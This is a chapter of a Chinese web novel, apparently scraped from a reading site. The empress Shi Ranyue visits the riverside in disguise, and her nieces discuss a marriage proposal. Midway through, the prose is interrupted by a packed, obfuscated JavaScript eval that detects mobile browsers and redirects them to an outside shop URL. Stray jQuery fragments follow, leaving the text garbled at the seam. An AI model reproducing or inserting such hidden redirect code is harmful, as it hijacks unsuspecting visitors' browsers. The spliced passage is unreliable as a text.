57.第 57 章
作品:《阳曲》 今年殿试放榜晚些,直拖到了清明节前才放了榜。不过有了复景元年时的先例,今年放榜并没有显得十分热闹,加上一甲前几名的举子样貌远远比不上三年前的那几个高山景行,连探花也堪堪是过得去而已。
“复景元年的时候今上特意下旨拔擢遴选年轻人入仕,才有了白状元和吴探花那样的啊。”
“是啊是啊,今年这些最年轻的一个都三十六七岁了。”
“不过今年这头几名看上去倒是老成了些,也许比年轻人好啊。”
坊间对此议论纷纷,端木玄自然也有所耳闻。比起市井间的闲谈,更多适龄的、准备参加下一次春闱之人更迫切关心天子的心意。天子垂青年轻有为者还是稳重老成者,几乎像一把铡刀悬在他们的头上,教人悬着一颗心不敢放下。
“焕哥儿不必顾虑这些。”端木萌不在乎道,“即便焕哥儿落榜了又能如何,他想再考,便再考几次都无所谓。他要是想直接为官,也不过是一封奏表的事。”
何况即便没有师霖和端木萌,单凭着师冉月,家中的子侄便都能荫官。因而当年师焕执意凭自己的本事入太学考科举时,端木萌便觉得没什么必要,萧晨却很是赞同,便也叫他这么些年寒窗苦读了下来。
师霖对子侄荫官或科举一事一向觉得顺水推舟,每逢其余人讨论此事时也只是不置可否。
不过连着几日,他都在灯下研究着官成澈送来的名单。
科举不可怕,可怕的是科举送进朝廷的是什么人。
才俊也罢,蛀虫也罢,关键的是他的门派阵营。
从乡野间初入庙堂之人总觉得自己这颗沧海遗珠终于被发掘,大多一心想着于宦海沉浮中成就一番事业,以全了圣人先师“穷则独善其身,达则兼济天下”的教导。然而大多不过几载就落入自己曾憎恶的“俗套”,困在自己批判过的牢笼。
师霖这般想着,心中倒有些惋惜之意,但也不过一瞬。
坚守理想固然值得敬佩,可追名逐利难道就该被人唾弃吗?
端午过后,端木玄即下诏宣布皇后将至各地微服私访。
朝野登时议论纷纷,礼部请示相关事宜也收不到答复,其余人明里暗里刺探消息也都没有结果。于是各地官员一时都有些提心吊胆,更不敢有什么大动作,只怕树大招风惹了皇后娘娘“垂青”。
五月二十七日,正是师冉月三十岁生辰当日,她一早推拒了礼部准备大贺其生辰的种种宴饮排场,早起吃了一碗长寿面,便穿着一身水绿色粗绸衣裳,做寻常妇人装扮,拿着令牌带着音儿便从皇宫西门庆德门溜出了宫。
成和早备了一辆小巧的马车和两个护卫在宫门外等着。马车是青色粗布做的帷帘,还是音儿嘱咐成和特意在自家寻得的浆洗过几次的旧布,马也是成和在师家马厩里挑的两匹先前被师迟和师琦淘汰掉的老马。
总而言之,师冉月完全按着自己想象中六七品官宦或是稍有些富余的商贾人家的家眷的行头布置着,连这身衣裳都是换过一遍的,只因原先选的那身被宫中的老嬷嬷说是“不知人间疾苦”。
而她此行原也不是为了微服私访,只是到少时自己去过的街巷和集市转一转,再到城外江边散散步、透透气。
马车驶向街巷。
一路路过曾经熟悉的酒楼茶坊,还有原先师家搭过粥棚的地方,除去人不同,余下似乎并没有什么变化,至多是有些瞧着是翻新了,而有些老旧着。
音儿掀着车帘望去,倒有些感慨道:“这些地方生意竟还这样好。”
师冉月笑道:“背后的人还在朝堂上稳稳坐着呢,怎能不好。”
音儿无言以对,抿嘴半晌,道:“姑娘,你现在张口闭口全都是这些前朝后宫弯弯绕绕的了。”
师冉月愣了愣:“我原先不也是如此吗?”
“......至少姑娘十岁之前不是这样的。”音儿本想说她出嫁之前,可又恍然想起十五六岁时的师冉月似乎也是这般,只是不似现在似乎袖手旁观又运筹帷幄的样子,而是一直蒙着淡淡的哀伤。
彼时水杏的事刚出了,音儿还没有遇见成和,还在一旁期许着自己未来的夫婿,又想着如果嫁人就要离开姑娘,那还不如不嫁人。她自小的愿望就是像母亲惠嫂陪在唐夫人身边一样,陪在师冉月左右,看着她成婚、当家、生儿育女,自己成为她最信任最得力的助手。
水杏所存的二心她彼时并没有看透,而水杏对所谓外面的“自由”的向往更叫她摸不清。一来她是师家的家生子,父母亲人都在师家,依附师家过活,她实在想象不到脱离师家的日子。
另立门户,自力更生,会比现在好吗?
幻梦般的记忆如迷雾般侵袭了两人的脑海,一时都各自沉默不语起来。直到成和清亮的声音穿透车帘:“姑娘,到江边了。”
苍云江。
师冉月心头颤了颤。
当年回京时为着筹备音儿的婚事,不想惹人眼目,于是自西边直接进了西城门,并未经过苍云江,而这四年她又从未出过宫城。
算起来,她已经近十五年没有再见过这条江了。
旧时师家有一处穆宗时因老太公四次治水有功赐的庄子,因为在有一半在南山的山坡上,便作养马之用。苍云江就横亘在这处庄子与京城内城之中。
师冉月少时常常与几个兄长瞒着父母骑马涉江,江水湍急,丰水期时还不到中央,江水就能漫过马的肚子。饶是师冉月再大胆,也只有一次敢在丰水期时冒险骑马过江,虽然没掉进江里,但她精心定制的骑装却湿了大半。怕遇见熟人,她和师霖、师骁只能在城门口找了家不起眼的小摊,点了些热茶和点心等衣服晾干才好回家。
后来还没到抄家的时候,师道旷就为着避祸,将这处庄子献还皇家以表忠心。因而她的那些侄儿侄女都没有这般经历,来这江边顶多也是寻些蚂蚱,或是钓鱼取乐罢了。
思及此,她不免又想到师骁,心中落下些尘霾。
从兄嫂的信中,师骁的伤口虽然已经愈合,但似乎毒素已然漫延至肺腑,人时而精神时而晕厥,有时一阵猛嗑,那帕子上分明是血。
她每半月就要向逢州派一次御医,可连如今都中医术最高明的邹太医也只说只能勉强续命,而无法使人好转......
“姑娘,咱们要过江吗?”
“先沿江走走罢。”眼见着天越发阴下来,似乎是要下雨了,只感觉浑身闷热闷热的。这会儿吹着江风倒是舒服许多。
师冉月和音儿便沿着江一前一后慢悠悠地走着,成和与那两个护卫远远跟在后面。
踏着草一脚深一脚浅的,走了一会儿,师冉月便觉得腿脚有些疲惫,抬头四处看了看,只看到江对面不远处有座道观,心念一动:“那个就是江浪观?”
音儿看了看,道:“是了,好久之前我与我娘到那边庄子里帮夫人办事,还到那里歇过脚。”
师冉月叹了口气:“若是那渡执道长所言非虚,七姐儿现在应该就养在那里。可惜按三嫂的说法,有血缘的都不能见,也不晓得是单指父母兄弟,还是我这个做姑姑的也见不得。罢了罢了,算起来也快七年了,总不好这时候去坏了机缘。”
音儿道:“姑娘不是不信那些?”
“他们信,又不是我的亲生女儿,我信不信的又有什么用。何况彼时我也不在京城,连劝一劝的机会都没有。可怜就隔了这么一条江、一个城墙,血亲骨肉就生生分离这么多年......”
音儿沉默了一会儿,道:“兴许这样也好......不然那位渡执道长说的预言一旦传开,彼时就算侯爷和长公主也不信,百姓也会信,还有皇室宗族里的那些人更会信,到时候还不知道七姑娘的命运该会如何呢。”
尤其是师冉月封后之后,关于从前那些各式各样的预言都跟着更真了几分。京中那些闲人更是尤其喜欢钻研这些东西,一旦发现了某种巧合,就要津津乐道地大谈特谈上好久,说得也是神乎其神,哄得没学问没主意的人也跟着信服不已。
师冉月点了点头,却又嗤笑道:“也不知道他们怎么想的,真信了一个女子就能灭国。女子不能科举,不能入朝为官,然而国运有了些什么变化,尤其是不好的,便全是某个女子惹得祸了。原先这样的故事还总是编到后宫中人的头上,如今一个才出生的黄口小儿竟也可以了,真是好笑。”
她兀自站了一会儿,眼睛始终看着那道观的方向,像是希冀着什么。半晌,只瞧见两个似是十几二十岁身量的一男一女从观中走出来取晒在外头竹竿上的衣裳,便再没有其他人,更没有六七岁样子的小姑娘。
她这才低下头,继续往前走着,心中乱糟糟想了好些,也没管脚下走到了哪。
天色越发暗了,雨幕似乎已经落到了头顶。江浪观后身不远处竹林后的一处小村落跑出来几个孩子,脚步飞快而凌乱,手中拿着些篮子什么的,口中还胡乱喊着什么。因着江风一吹,师冉月一个字也没听清,却因此醒了神,四下看去,道:“竟走了这么远,我们便从东门回城中吧。”
说罢,便拉着音儿转身上了马车。
雨很快落下来,成和披上蓑衣,将马车赶的飞快,似乎转眼间便到了宫城下。
大雨倾盆,街上几乎没有行人。只有守在宫门前的守卫已经列好了仪仗,低着头迎候师冉月回宫。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233413|197566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
雨水冲刷下,青石路面变得几近漆黑,斑驳的印痕新旧交错,像是古老的化石,将时间的印记狠狠砸进了地下,永久封存。
音儿撑开石青色的伞。
师冉月钻进雨幕中。
逢州正是梅雨季,连着几日都没见太阳,因着恐怕雨水弄脏鞋袜,师莞安一连几日都没能出门,在家闲的快要能掐出水来。
正逢庄子值守轮换,夏粮也渐次收了上来,端木萌和端木婉最近忙前忙后,根本腾不出空来关心儿女,因此师莞安听到帘儿说二夫人和三夫人一齐在前堂等她,惊得合不拢嘴。
“有什么事非要在前堂说?”
“奴婢也不晓得。姑娘还是快过去罢,免得夫人们等得着急了。”帘儿说着,便已经半身踏出门外把伞撑好了。
师莞安瞧着她似乎是真不知情,隔壁婷欢和景安也没什么动静,心下更加惴惴,就像把棠欢的兔子装进了胃里。她盘算着这些天没在外面乱说话更没仗势欺人,打马球也是好些天前的事儿了,虽有些张扬,但她又没与外男组队,更没输没丢份儿,大约也不值得被追究......
这般胡思乱想着,连新做的藕荷色绣鞋被雨水溅上了一点污泥都没有注意到,再抬眼时已经到了正堂门前。
帘儿站在檐下收伞,笑眯眯道:“姑娘,快进去罢。”
师莞安打了个寒颤。
进了正堂见了礼,她只觉得端木婉和端木萌神情迷惑,加上二人也没发话叫她也坐下,师莞安忍不住又打了个寒颤。
端木婉终于开口,却一脸严肃,道:“外面下着雨,你便只穿这一件裙子过来了?”继而又抿了抿嘴,笑道:“罢了,我们也不与你卖关子了。这是晏夫人的信,你自己瞧瞧罢。”
“晏夫人的信?”师莞安疑惑着上前接过信,然而尚未看几个字,双颊就飞满了红晕。她有些迷糊地抬头看向端木婉和端木萌,道:“这,这怎么好......”
端木萌满眼揶揄,笑道:“莞姐儿,你只管说你喜不喜欢景家那小子就是了。晏夫人这般写信来,本就是看重你自己的意思。若是你不喜欢他,我们便回绝了,这事从头至尾只有咱们几个晓得,日后双方该怎么议亲就怎么议亲,彼此也仍只当世交就是了。”
莞安低头,想起景琮,端的是个好风姿,好样貌,马球打得不如她,但也不错;那日下了场,他说他蹴鞠也不错,她的蹴鞠原是四叔和二哥带着她玩了两回,只是略得章法,若是有机会......
“莞儿?莞儿?”
骤然听见母亲唤自己的名字,师莞安才回过神来,忙道:“我,我只是和景大公子打过一次马球,也不熟......我做不了主,但凭长辈们的意思就是了。”
端木婉哪里不明白自己亲生女儿的意思,却也依着她不点破:“那便再过些日子好了,此事总归也不急,咱们一时半会儿的,也离不开逢州,你有的是时间慢慢考量呢。”
“景大公子?这倒是个不错的选择。”师婷欢道。莞安只小她们一岁多,婚事迟迟未定,她本以为父母和二伯母是有意在今年的举子中择一优秀者为婿,可今年的举子又实在有些“歪瓜裂枣”......她前两天还琢磨着莞安的姻缘会否因此又生波折,没想到这缘分竟近在眼前。
“哎呀,大姐姐,怎么就选择不选择的,晏夫人也只是一说......”莞安半张脸埋在枕头里,说话声儿也不太清晰,两个姐姐却生生听出些与她平日里直来直去的语气的不同来。
师景安道:“说真的,昭昭,景家与我们是世交,知根知底,更与我们利益相连,景伯父这些年一直外任,说白了也是因为叔父的缘故。景家家境殷实,江淮之地无人敢小觑。晏夫人又是个慈爱坦诚的长辈,必不会为难你。若是你心中没有他人,如今看来,嫁给景琮的确是个不错的选择。”
昭昭是旧时家塾里先生从《楚辞》里给师莞安取的字,其余几个姐妹也都有,婷欢是兰藉,景安是齐光,幼芷是荷屋,幼桐是杜衡,棠欢是安歌。
起初师霖的意思是,还是应当像吟月和冉月那般依着族谱来起字,所以这些便只当闹着玩了,只有姐妹几个私下互相叫。其中尤其是“昭昭”,因为顺口又好听,婷欢和景安两个便尤其喜欢这般唤莞安。
“我没想这般多,说白了,家世不妥当的人,我一般也见不到。”莞安闷闷地道,过了一会儿又把自己从枕头中解放出来,道:“我只是觉得,他长得还挺好看的。但是他那个弟弟,景家的二公子,瞧着比他还要俊美些呢。”
“我记得景二公子与你同岁,你要是喜欢,嫁他也无妨——”
“哎呀,大姐姐!”

